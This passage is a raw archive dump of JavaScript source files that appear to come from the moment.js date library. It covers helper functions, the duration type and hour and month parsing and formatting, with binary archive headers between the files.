        hooks.deprecationHandler(name, msg);
    }
    if (!deprecations[name]) {
        warn(msg);
        deprecations[name] = true;
    }
}

hooks.suppressDeprecationWarnings = false;
hooks.deprecationHandler = null;
PK.��\*]W��lib/utils/is-number.jsnu�[���export default function isNumber(input) {
    return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]';
}
PK.��\o~��77lib/utils/hooks.jsnu�[���export { hooks, setHookCallback };

var hookCallback;

function hooks () {
    return hookCallback.apply(null, arguments);
}

// This is done to register the method called with moment()
// without creating circular dependencies.
function setHookCallback (callback) {
    hookCallback = callback;
}
PK.��\ax�hhlib/utils/index-of.jsnu�[���var indexOf;

if (Array.prototype.indexOf) {
    indexOf = Array.prototype.indexOf;
} else {
    indexOf = function (o) {
        // I know
        var i;
        for (i = 0; i < this.length; ++i) {
            if (this[i] === o) {
                return i;
            }
        }
        return -1;
    };
}

export { indexOf as default };
PK.��\�7��##lib/utils/compare-arrays.jsnu�[���import toInt from './to-int';

// compare two arrays, return the number of differences
export default function compareArrays(array1, array2, dontConvert) {
    var len = Math.min(array1.length, array2.length),
        lengthDiff = Math.abs(array1.length - array2.length),
        diffs = 0,
        i;
    for (i = 0; i < len; i++) {
        if ((dontConvert && array1[i] !== array2[i]) ||
            (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) {
            diffs++;
        }
    }
    return diffs + lengthDiff;
}
PK.��\e�n�GGlib/utils/mod.jsnu�[���export default function mod(n, x) {
    return ((n % x) + x) % x;
}
PK.��\��]��lib/utils/defaults.jsnu�[���// Pick the first defined of two or three arguments.
export default function defaults(a, b, c) {
    if (a != null) {
        return a;
    }
    if (b != null) {
        return b;
    }
    return c;
}
PK.��\�rXT��lib/utils/is-object.jsnu�[���export default function isObject(input) {
    // IE8 will treat undefined and null as object if it wasn't for
    // input != null
    return input != null && Object.prototype.toString.call(input) === '[object Object]';
}
PK.��\Bn�$OOlib/utils/zero-fill.jsnu�[���export default function zeroFill(number, targetLength, forceSign) {
    var absNumber = '' + Math.abs(number),
        zerosToFill = targetLength - absNumber.length,
        sign = number >= 0;
    return (sign ? (forceSign ? '+' : '') : '-') +
        Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber;
}
PK.��\�Rj�\\lib/duration/constructor.jsnu�[���import { normalizeObjectUnits } from '../units/aliases';
import { getLocale } from '../locale/locales';
import isDurationValid from './valid.js';

export function Duration (duration) {
    var normalizedInput = normalizeObjectUnits(duration),
        years = normalizedInput.year || 0,
        quarters = normalizedInput.quarter || 0,
        months = normalizedInput.month || 0,
        weeks = normalizedInput.week || 0,
        days = normalizedInput.day || 0,
        hours = normalizedInput.hour || 0,
        minutes = normalizedInput.minute || 0,
        seconds = normalizedInput.second || 0,
        milliseconds = normalizedInput.millisecond || 0;

    this._isValid = isDurationValid(normalizedInput);

    // representation for dateAddRemove
    this._milliseconds = +milliseconds +
        seconds * 1e3 + // 1000
        minutes * 6e4 + // 1000 * 60
        hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978
    // Because of dateAddRemove treats 24 hours as different from a
    // day when working around DST, we need to store them separately
    this._days = +days +
        weeks * 7;
    // It is impossible to translate months into days without knowing
    // which months you are are talking about, so we have to store
    // it separately.
    this._months = +months +
        quarters * 3 +
        years * 12;

    this._data = {};

    this._locale = getLocale();

    this._bubble();
}

export function isDuration (obj) {
    return obj instanceof Duration;
}
PK.��\�
Uqqlib/duration/clone.jsnu�[���import { createDuration } from './create';

export function clone () {
    return createDuration(this);
}

PK.��\<:��))lib/duration/as.jsnu�[���import { daysToMonths, monthsToDays } from './bubble';
import { normalizeUnits } from '../units/aliases';
import toInt from '../utils/to-int';

export function as (units) {
    if (!this.isValid()) {
        return NaN;
    }
    var days;
    var months;
    var milliseconds = this._milliseconds;

    units = normalizeUnits(units);

    if (units === 'month' || units === 'year') {
        days   = this._days   + milliseconds / 864e5;
        months = this._months + daysToMonths(days);
        return units === 'month' ? months : months / 12;
    } else {
        // handle milliseconds separately because of floating point math errors (issue #1867)
        days = this._days + Math.round(monthsToDays(this._months));
        switch (units) {
            case 'week'   : return days / 7     + milliseconds / 6048e5;
            case 'day'    : return days         + milliseconds / 864e5;
            case 'hour'   : return days * 24    + milliseconds / 36e5;
            case 'minute' : return days * 1440  + milliseconds / 6e4;
            case 'second' : return days * 86400 + milliseconds / 1000;
            // Math.floor prevents floating point math errors here
            case 'millisecond': return Math.floor(days * 864e5) + milliseconds;
            default: throw new Error('Unknown unit ' + units);
        }
    }
}

// TODO: Use this.as('ms')?
export function valueOf () {
    if (!this.isValid()) {
        return NaN;
    }
    return (
        this._milliseconds +
        this._days * 864e5 +
        (this._months % 12) * 2592e6 +
        toInt(this._months / 12) * 31536e6
    );
}

function makeAs (alias) {
    return function () {
        return this.as(alias);
    };
}

export var asMilliseconds = makeAs('ms');
export var asSeconds      = makeAs('s');
export var asMinutes      = makeAs('m');
export var asHours        = makeAs('h');
export var asDays         = makeAs('d');
export var asWeeks        = makeAs('w');
export var asMonths       = makeAs('M');
export var asYears        = makeAs('y');
PK.��\L�E&~~lib/duration/humanize.jsnu�[���import { createDuration } from './create';

var round = Math.round;
var thresholds = {
    ss: 44,         // a few seconds to seconds
    s : 45,         // seconds to minute
    m : 45,         // minutes to hour
    h : 22,         // hours to day
    d : 26,         // days to month
    M : 11          // months to year
};

// helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize
function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) {
    return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture);
}

function relativeTime (posNegDuration, withoutSuffix, locale) {
    var duration = createDuration(posNegDuration).abs();
    var seconds  = round(duration.as('s'));
    var minutes  = round(duration.as('m'));
    var hours    = round(duration.as('h'));
    var days     = round(duration.as('d'));
    var months   = round(duration.as('M'));
    var years    = round(duration.as('y'));

    var a = seconds <= thresholds.ss && ['s', seconds]  ||
            seconds < thresholds.s   && ['ss', seconds] ||
            minutes <= 1             && ['m']           ||
            minutes < thresholds.m   && ['mm', minutes] ||
            hours   <= 1             && ['h']           ||
            hours   < thresholds.h   && ['hh', hours]   ||
            days    <= 1             && ['d']           ||
            days    < thresholds.d   && ['dd', days]    ||
            months  <= 1             && ['M']           ||
            months  < thresholds.M   && ['MM', months]  ||
            years   <= 1             && ['y']           || ['yy', years];

    a[2] = withoutSuffix;
    a[3] = +posNegDuration > 0;
    a[4] = locale;
    return substituteTimeAgo.apply(null, a);
}

// This function allows you to set the rounding function for relative time strings
export function getSetRelativeTimeRounding (roundingFunction) {
    if (roundingFunction === undefined) {
        return round;
    }
    if (typeof(roundingFunction) === 'function') {
        round = roundingFunction;
        return true;
    }
    return false;
}

// This function allows you to set a threshold for relative time strings
export function getSetRelativeTimeThreshold (threshold, limit) {
    if (thresholds[threshold] === undefined) {
        return false;
    }
    if (limit === undefined) {
        return thresholds[threshold];
    }
    thresholds[threshold] = limit;
    if (threshold === 's') {
        thresholds.ss = limit - 1;
    }
    return true;
}

export function humanize (withSuffix) {
    if (!this.isValid()) {
        return this.localeData().invalidDate();
    }

    var locale = this.localeData();
    var output = relativeTime(this, !withSuffix, locale);

    if (withSuffix) {
        output = locale.pastFuture(+this, output);
    }

    return locale.postformat(output);
}
PK.��\mG�}lib/duration/get.jsnu�[���import { normalizeUnits } from '../units/aliases';
import absFloor from '../utils/abs-floor';

export function get (units) {
    units = normalizeUnits(units);
    return this.isValid() ? this[units + 's']() : NaN;
}

function makeGetter(name) {
    return function () {
        return this.isValid() ? this._data[name] : NaN;
    };
}

export var milliseconds = makeGetter('milliseconds');
export var seconds      = makeGetter('seconds');
export var minutes      = makeGetter('minutes');
export var hours        = makeGetter('hours');
export var days         = makeGetter('days');
export var months       = makeGetter('months');
export var years        = makeGetter('years');

export function weeks () {
    return absFloor(this.days() / 7);
}
PK.��\�`�}kklib/duration/bubble.jsnu�[���import absFloor from '../utils/abs-floor';
import absCeil from '../utils/abs-ceil';
import { createUTCDate } from '../create/date-from-array';

export function bubble () {
    var milliseconds = this._milliseconds;
    var days         = this._days;
    var months       = this._months;
    var data         = this._data;
    var seconds, minutes, hours, years, monthsFromDays;

    // if we have a mix of positive and negative values, bubble down first
    // check: https://github.com/moment/moment/issues/2166
    if (!((milliseconds >= 0 && days >= 0 && months >= 0) ||
            (milliseconds <= 0 && days <= 0 && months <= 0))) {
        milliseconds += absCeil(monthsToDays(months) + days) * 864e5;
        days = 0;
        months = 0;
    }

    // The following code bubbles up values, see the tests for
    // examples of what that means.
    data.milliseconds = milliseconds % 1000;

    seconds           = absFloor(milliseconds / 1000);
    data.seconds      = seconds % 60;

    minutes           = absFloor(seconds / 60);
    data.minutes      = minutes % 60;

    hours             = absFloor(minutes / 60);
    data.hours        = hours % 24;

    days += absFloor(hours / 24);

    // convert days to months
    monthsFromDays = absFloor(daysToMonths(days));
    months += monthsFromDays;
    days -= absCeil(monthsToDays(monthsFromDays));

    // 12 months -> 1 year
    years = absFloor(months / 12);
    months %= 12;

    data.days   = days;
    data.months = months;
    data.years  = years;

    return this;
}

export function daysToMonths (days) {
    // 400 years have 146097 days (taking into account leap year rules)
    // 400 years have 12 months === 4800
    return days * 4800 / 146097;
}

export function monthsToDays (months) {
    // the reverse of daysToMonths
    return months * 146097 / 4800;
}
PK.��\WYSBBlib/duration/iso-string.jsnu�[���import absFloor from '../utils/abs-floor';
var abs = Math.abs;

function sign(x) {
    return ((x > 0) - (x < 0)) || +x;
}

export function toISOString() {
    // for ISO strings we do not use the normal bubbling rules:
    //  * milliseconds bubble up until they become hours
    //  * days do not bubble at all
    //  * months bubble up until they become years
    // This is because there is no context-free conversion between hours and days
    // (think of clock changes)
    // and also not between days and months (28-31 days per month)
    if (!this.isValid()) {
        return this.localeData().invalidDate();
    }

    var seconds = abs(this._milliseconds) / 1000;
    var days         = abs(this._days);
    var months       = abs(this._months);
    var minutes, hours, years;

    // 3600 seconds -> 60 minutes -> 1 hour
    minutes           = absFloor(seconds / 60);
    hours             = absFloor(minutes / 60);
    seconds %= 60;
    minutes %= 60;

    // 12 months -> 1 year
    years  = absFloor(months / 12);
    months %= 12;


    // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js
    var Y = years;
    var M = months;
    var D = days;
    var h = hours;
    var m = minutes;
    var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : '';
    var total = this.asSeconds();

    if (!total) {
        // this is the same as C#'s (Noda) and python (isodate)...
        // but not other JS (goog.date)
        return 'P0D';
    }

    var totalSign = total < 0 ? '-' : '';
    var ymSign = sign(this._months) !== sign(total) ? '-' : '';
    var daysSign = sign(this._days) !== sign(total) ? '-' : '';
    var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : '';

    return totalSign + 'P' +
        (Y ? ymSign + Y + 'Y' : '') +
        (M ? ymSign + M + 'M' : '') +
        (D ? daysSign + D + 'D' : '') +
        ((h || m || s) ? 'T' : '') +
        (h ? hmsSign + h + 'H' : '') +
        (m ? hmsSign + m + 'M' : '') +
        (s ? hmsSign + s + 'S' : '');
}
PK.��\4���ddlib/duration/duration.jsnu�[���// Side effect imports
import './prototype';

import { createDuration } from './create';
import { isDuration } from './constructor';
import {
    getSetRelativeTimeRounding,
    getSetRelativeTimeThreshold
} from './humanize';

export {
    createDuration,
    isDuration,
    getSetRelativeTimeRounding,
    getSetRelativeTimeThreshold
};
PK.��\�[��lib/duration/valid.jsnu�[���import toInt from '../utils/to-int';
import indexOf from '../utils/index-of';
import {Duration} from './constructor';
import {createDuration} from './create';

var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond'];

export default function isDurationValid(m) {
    for (var key in m) {
        if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) {
            return false;
        }
    }

    var unitHasDecimal = false;
    for (var i = 0; i < ordering.length; ++i) {
        if (m[ordering[i]]) {
            if (unitHasDecimal) {
                return false; // only allow non-integers for smallest unit
            }
            if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) {
                unitHasDecimal = true;
            }
        }
    }

    return true;
}

export function isValid() {
    return this._isValid;
}

export function createInvalid() {
    return createDuration(NaN);
}
PK.��\�EElib/duration/create.jsnu�[���import { Duration, isDuration } from './constructor';
import isNumber from '../utils/is-number';
import toInt from '../utils/to-int';
import absRound from '../utils/abs-round';
import hasOwnProp from '../utils/has-own-prop';
import { DATE, HOUR, MINUTE, SECOND, MILLISECOND } from '../units/constants';
import { cloneWithOffset } from '../units/offset';
import { createLocal } from '../create/local';
import { createInvalid as invalid } from './valid';

// ASP.NET json date format regex
var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/;

// from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html
// somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere
// and further modified to allow for strings containing both week and day
var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;

export function createDuration (input, key) {
    var duration = input,
        // matching against regexp is expensive, do it on demand
        match = null,
        sign,
        ret,
        diffRes;

    if (isDuration(input)) {
        duration = {
            ms : input._milliseconds,
            d  : input._days,
            M  : input._months
        };
    } else if (isNumber(input)) {
        duration = {};
        if (key) {
            duration[key] = input;
        } else {
            duration.milliseconds = input;
        }
    } else if (!!(match = aspNetRegex.exec(input))) {
        sign = (match[1] === '-') ? -1 : 1;
        duration = {
            y  : 0,
            d  : toInt(match[DATE])                         * sign,
            h  : toInt(match[HOUR])                         * sign,
            m  : toInt(match[MINUTE])                       * sign,
            s  : toInt(match[SECOND])                       * sign,
            ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match
        };
    } else if (!!(match = isoRegex.exec(input))) {
        sign = (match[1] === '-') ? -1 : (match[1] === '+') ? 1 : 1;
        duration = {
            y : parseIso(match[2], sign),
            M : parseIso(match[3], sign),
            w : parseIso(match[4], sign),
            d : parseIso(match[5], sign),
            h : parseIso(match[6], sign),
            m : parseIso(match[7], sign),
            s : parseIso(match[8], sign)
        };
    } else if (duration == null) {// checks for null or undefined
        duration = {};
    } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) {
        diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to));

        duration = {};
        duration.ms = diffRes.milliseconds;
        duration.M = diffRes.months;
    }

    ret = new Duration(duration);

    if (isDuration(input) && hasOwnProp(input, '_locale')) {
        ret._locale = input._locale;
    }

    return ret;
}

createDuration.fn = Duration.prototype;
createDuration.invalid = invalid;

function parseIso (inp, sign) {
    // We'd normally use ~~inp for this, but unfortunately it also
    // converts floats to ints.
    // inp may be undefined, so careful calling replace on it.
    var res = inp && parseFloat(inp.replace(',', '.'));
    // apply sign while we're at it
    return (isNaN(res) ? 0 : res) * sign;
}

function positiveMomentsDifference(base, other) {
    var res = {milliseconds: 0, months: 0};

    res.months = other.month() - base.month() +
        (other.year() - base.year()) * 12;
    if (base.clone().add(res.months, 'M').isAfter(other)) {
        --res.months;
    }

    res.milliseconds = +other - +(base.clone().add(res.months, 'M'));

    return res;
}

function momentsDifference(base, other) {
    var res;
    if (!(base.isValid() && other.isValid())) {
        return {milliseconds: 0, months: 0};
    }

    other = cloneWithOffset(other, base);
    if (base.isBefore(other)) {
        res = positiveMomentsDifference(base, other);
    } else {
        res = positiveMomentsDifference(other, base);
        res.milliseconds = -res.milliseconds;
        res.months = -res.months;
    }

    return res;
}
PK.��\�8�VVlib/duration/prototype.jsnu�[���import { Duration } from './constructor';

var proto = Duration.prototype;

import { abs } from './abs';
import { add, subtract } from './add-subtract';
import { as, asMilliseconds, asSeconds, asMinutes, asHours, asDays, asWeeks, asMonths, asYears, valueOf } from './as';
import { bubble } from './bubble';
import { clone } from './clone';
import { get, milliseconds, seconds, minutes, hours, days, months, years, weeks } from './get';
import { humanize } from './humanize';
import { toISOString } from './iso-string';
import { lang, locale, localeData } from '../moment/locale';
import { isValid } from './valid';

proto.isValid        = isValid;
proto.abs            = abs;
proto.add            = add;
proto.subtract       = subtract;
proto.as             = as;
proto.asMilliseconds = asMilliseconds;
proto.asSeconds      = asSeconds;
proto.asMinutes      = asMinutes;
proto.asHours        = asHours;
proto.asDays         = asDays;
proto.asWeeks        = asWeeks;
proto.asMonths       = asMonths;
proto.asYears        = asYears;
proto.valueOf        = valueOf;
proto._bubble        = bubble;
proto.clone          = clone;
proto.get            = get;
proto.milliseconds   = milliseconds;
proto.seconds        = seconds;
proto.minutes        = minutes;
proto.hours          = hours;
proto.days           = days;
proto.weeks          = weeks;
proto.months         = months;
proto.years          = years;
proto.humanize       = humanize;
proto.toISOString    = toISOString;
proto.toString       = toISOString;
proto.toJSON         = toISOString;
proto.locale         = locale;
proto.localeData     = localeData;

// Deprecations
import { deprecate } from '../utils/deprecate';

proto.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString);
proto.lang = lang;
PK.��\��](33lib/duration/abs.jsnu�[���var mathAbs = Math.abs;

export function abs () {
    var data           = this._data;

    this._milliseconds = mathAbs(this._milliseconds);
    this._days         = mathAbs(this._days);
    this._months       = mathAbs(this._months);

    data.milliseconds  = mathAbs(data.milliseconds);
    data.seconds       = mathAbs(data.seconds);
    data.minutes       = mathAbs(data.minutes);
    data.hours         = mathAbs(data.hours);
    data.months        = mathAbs(data.months);
    data.years         = mathAbs(data.years);

    return this;
}
PK.��\�����lib/duration/add-subtract.jsnu�[���import { createDuration } from './create';

function addSubtract (duration, input, value, direction) {
    var other = createDuration(input, value);

    duration._milliseconds += direction * other._milliseconds;
    duration._days         += direction * other._days;
    duration._months       += direction * other._months;

    return duration._bubble();
}

// supports only 2.0-style add(1, 's') or add(duration)
export function add (input, value) {
    return addSubtract(this, input, value, 1);
}

// supports only 2.0-style subtract(1, 's') or subtract(duration)
export function subtract (input, value) {
    return addSubtract(this, input, value, -1);
}
PK.��\�Y|.��lib/parse/token.jsnu�[���import hasOwnProp from '../utils/has-own-prop';
import isNumber from '../utils/is-number';
import toInt from '../utils/to-int';

var tokens = {};

export function addParseToken (token, callback) {
    var i, func = callback;
    if (typeof token === 'string') {
        token = [token];
    }
    if (isNumber(callback)) {
        func = function (input, array) {
            array[callback] = toInt(input);
        };
    }
    for (i = 0; i < token.length; i++) {
        tokens[token[i]] = func;
    }
}

export function addWeekParseToken (token, callback) {
    addParseToken(token, function (input, array, config, token) {
        config._w = config._w || {};
        callback(input, config._w, config, token);
    });
}

export function addTimeToArrayFromToken(token, input, config) {
    if (input != null && hasOwnProp(tokens, token)) {
        tokens[token](input, config._a, config, token);
    }
}
PK.��\y�&b	b	lib/parse/regex.jsnu�[���export var match1         = /\d/;            //       0 - 9
export var match2         = /\d\d/;          //      00 - 99
export var match3         = /\d{3}/;         //     000 - 999
export var match4         = /\d{4}/;         //    0000 - 9999
export var match6         = /[+-]?\d{6}/;    // -999999 - 999999
export var match1to2      = /\d\d?/;         //       0 - 99
export var match3to4      = /\d\d\d\d?/;     //     999 - 9999
export var match5to6      = /\d\d\d\d\d\d?/; //   99999 - 999999
export var match1to3      = /\d{1,3}/;       //       0 - 999
export var match1to4      = /\d{1,4}/;       //       0 - 9999
export var match1to6      = /[+-]?\d{1,6}/;  // -999999 - 999999

export var matchUnsigned  = /\d+/;           //       0 - inf
export var matchSigned    = /[+-]?\d+/;      //    -inf - inf

export var matchOffset    = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z
export var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z

export var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123

// any word (or two) characters or numbers including two/three word month in arabic.
// includes scottish gaelic two word and hyphenated months
export var matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;


import hasOwnProp from '../utils/has-own-prop';
import isFunction from '../utils/is-function';

var regexes = {};

export function addRegexToken (token, regex, strictRegex) {
    regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) {
        return (isStrict && strictRegex) ? strictRegex : regex;
    };
}

export function getParseRegexForToken (token, config) {
    if (!hasOwnProp(regexes, token)) {
        return new RegExp(unescapeFormat(token));
    }

    return regexes[token](config._strict, config._locale);
}

// Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript
function unescapeFormat(s) {
    return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) {
        return p1 || p2 || p3 || p4;
    }));
}

export function regexEscape(s) {
    return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
}
PK.��\��{���lib/units/hour.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2, match3to4, match5to6 } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { HOUR, MINUTE, SECOND } from './constants';
import toInt from '../utils/to-int';
import zeroFill from '../utils/zero-fill';
import getParsingFlags from '../create/parsing-flags';

// FORMATTING

function hFormat() {
    return this.hours() % 12 || 12;
}

function kFormat() {
    return this.hours() || 24;
}

addFormatToken('H', ['HH', 2], 0, 'hour');
addFormatToken('h', ['hh', 2], 0, hFormat);
addFormatToken('k', ['kk', 2], 0, kFormat);

addFormatToken('hmm', 0, 0, function () {
    return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2);
});

addFormatToken('hmmss', 0, 0, function () {
    return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) +
        zeroFill(this.seconds(), 2);
});

addFormatToken('Hmm', 0, 0, function () {
    return '' + this.hours() + zeroFill(this.minutes(), 2);
});

addFormatToken('Hmmss', 0, 0, function () {
    return '' + this.hours() + zeroFill(this.minutes(), 2) +
        zeroFill(this.seconds(), 2);
});

function meridiem (token, lowercase) {
    addFormatToken(token, 0, 0, function () {
        return this.localeData().meridiem(this.hours(), this.minutes(), lowercase);
    });
}

meridiem('a', true);
meridiem('A', false);

// ALIASES

addUnitAlias('hour', 'h');

// PRIORITY
addUnitPriority('hour', 13);

// PARSING

function matchMeridiem (isStrict, locale) {
    return locale._meridiemParse;
}

addRegexToken('a',  matchMeridiem);
addRegexToken('A',  matchMeridiem);
addRegexToken('H',  match1to2);
addRegexToken('h',  match1to2);
addRegexToken('k',  match1to2);
addRegexToken('HH', match1to2, match2);
addRegexToken('hh', match1to2, match2);
addRegexToken('kk', match1to2, match2);

addRegexToken('hmm', match3to4);
addRegexToken('hmmss', match5to6);
addRegexToken('Hmm', match3to4);
addRegexToken('Hmmss', match5to6);

addParseToken(['H', 'HH'], HOUR);
addParseToken(['k', 'kk'], function (input, array, config) {
    var kInput = toInt(input);
    array[HOUR] = kInput === 24 ? 0 : kInput;
});
addParseToken(['a', 'A'], function (input, array, config) {
    config._isPm = config._locale.isPM(input);
    config._meridiem = input;
});
addParseToken(['h', 'hh'], function (input, array, config) {
    array[HOUR] = toInt(input);
    getParsingFlags(config).bigHour = true;
});
addParseToken('hmm', function (input, array, config) {
    var pos = input.length - 2;
    array[HOUR] = toInt(input.substr(0, pos));
    array[MINUTE] = toInt(input.substr(pos));
    getParsingFlags(config).bigHour = true;
});
addParseToken('hmmss', function (input, array, config) {
    var pos1 = input.length - 4;
    var pos2 = input.length - 2;
    array[HOUR] = toInt(input.substr(0, pos1));
    array[MINUTE] = toInt(input.substr(pos1, 2));
    array[SECOND] = toInt(input.substr(pos2));
    getParsingFlags(config).bigHour = true;
});
addParseToken('Hmm', function (input, array, config) {
    var pos = input.length - 2;
    array[HOUR] = toInt(input.substr(0, pos));
    array[MINUTE] = toInt(input.substr(pos));
});
addParseToken('Hmmss', function (input, array, config) {
    var pos1 = input.length - 4;
    var pos2 = input.length - 2;
    array[HOUR] = toInt(input.substr(0, pos1));
    array[MINUTE] = toInt(input.substr(pos1, 2));
    array[SECOND] = toInt(input.substr(pos2));
});

// LOCALES

export function localeIsPM (input) {
    // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays
    // Using charAt should be more compatible.
    return ((input + '').toLowerCase().charAt(0) === 'p');
}

export var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i;
export function localeMeridiem (hours, minutes, isLower) {
    if (hours > 11) {
        return isLower ? 'pm' : 'PM';
    } else {
        return isLower ? 'am' : 'AM';
    }
}


// MOMENTS

// Setting the hour should keep the time, because the user explicitly
// specified which hour they want. So trying to maintain the same hour (in
// a new timezone) makes sense. Adding/subtracting hours does not follow
// this rule.
export var getSetHour = makeGetSet('Hours', true);
PK.��\)_%�%�%lib/units/month.jsnu�[���import { get } from '../moment/get-set';
import hasOwnProp from '../utils/has-own-prop';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2, matchWord, regexEscape } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { hooks } from '../utils/hooks';
import { MONTH } from './constants';
import toInt from '../utils/to-int';
import isArray from '../utils/is-array';
import isNumber from '../utils/is-number';
import mod from '../utils/mod';
import indexOf from '../utils/index-of';
import { createUTC } from '../create/utc';
import getParsingFlags from '../create/parsing-flags';
import { isLeapYear } from '../units/year';

export function daysInMonth(year, month) {
    if (isNaN(year) || isNaN(month)) {
        return NaN;
    }
    var modMonth = mod(month, 12);
    year += (month - modMonth) / 12;
    return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2);
}

// FORMATTING

addFormatToken('M', ['MM', 2], 'Mo', function () {
    return this.month() + 1;
});

addFormatToken('MMM', 0, 0, function (format) {
    return this.localeData().monthsShort(this, format);
});

addFormatToken('MMMM', 0, 0, function (format) {
    return this.localeData().months(this, format);
});

// ALIASES

addUnitAlias('month', 'M');

// PRIORITY

addUnitPriority('month', 8);

// PARSING

addRegexToken('M',    match1to2);
addRegexToken('MM',   match1to2, match2);
addRegexToken('MMM',  function (isStrict, locale) {
    return locale.monthsShortRegex(isStrict);
});
addRegexToken('MMMM', function (isStrict, locale) {
    return locale.monthsRegex(isStrict);
});

addParseToken(['M', 'MM'], function (input, array) {
    array[MONTH] = toInt(input) - 1;
});

addParseToken(['MMM', 'MMMM'], function (input, array, config, token) {
    var month = config._locale.monthsParse(input, token, config._strict);
    // if we didn't find a month name, mark the date as invalid.
    if (month != null) {
        array[MONTH] = month;
    } else {
        getParsingFlags(config).invalidMonth = input;
    }
});

// LOCALES

var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/;
export var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_');
export function localeMonths (m, format) {
    if (!m) {
        return isArray(this._months) ? this._months :
            this._months['standalone'];
    }
    return isArray(this._months) ? this._months[m.month()] :
        this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()];
}

export var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_');
export function localeMonthsShort (m, format) {
    if (!m) {
        return isArray(this._monthsShort) ? this._monthsShort :
            this._monthsShort['standalone'];
    }
    return isArray(this._monthsShort) ? this._monthsShort[m.month()] :
        this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()];
}

function handleStrictParse(monthName, format, strict) {
    var i, ii, mom, llc = monthName.toLocaleLowerCase();
    if (!this._monthsParse) {
        // this is not used
        this._monthsParse = [];
        this._longMonthsParse = [];
        this._shortMonthsParse = [];
        for (i = 0; i < 12; ++i) {
            mom = createUTC([2000, i]);
            this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase();
            this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase();
        }
    }

    if (strict) {
        if (format === 'MMM') {
            ii = indexOf.call(this._shortMonthsParse, llc);
            return ii !== -1 ? ii : null;
        } else {
            ii = indexOf.call(this._longMonthsParse, llc);
            return ii !== -1 ? ii : null;
        }
    } else {
        if (format === 'MMM') {
            ii = indexOf.call(this._shortMonthsParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._longMonthsParse, llc);
            return ii !== -1 ? ii : null;
        } else {
            ii = indexOf.call(this._longMonthsParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._shortMonthsParse, llc);
            return ii !== -1 ? ii : null;
        }
    }
}

export function localeMonthsParse (monthName, format, strict) {
    var i, mom, regex;

    if (this._monthsParseExact) {
        return handleStrictParse.call(this, monthName, format, strict);
    }

    if (!this._monthsParse) {
        this._monthsParse = [];
        this._longMonthsParse = [];
        this._shortMonthsParse = [];
    }

    // TODO: add sorting
    // Sorting makes sure if one month (or abbr) is a prefix of another
    // see sorting in computeMonthsParse
    for (i = 0; i < 12; i++) {
        // make the regex if we don't have it already
        mom = createUTC([2000, i]);
        if (strict && !this._longMonthsParse[i]) {
            this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i');
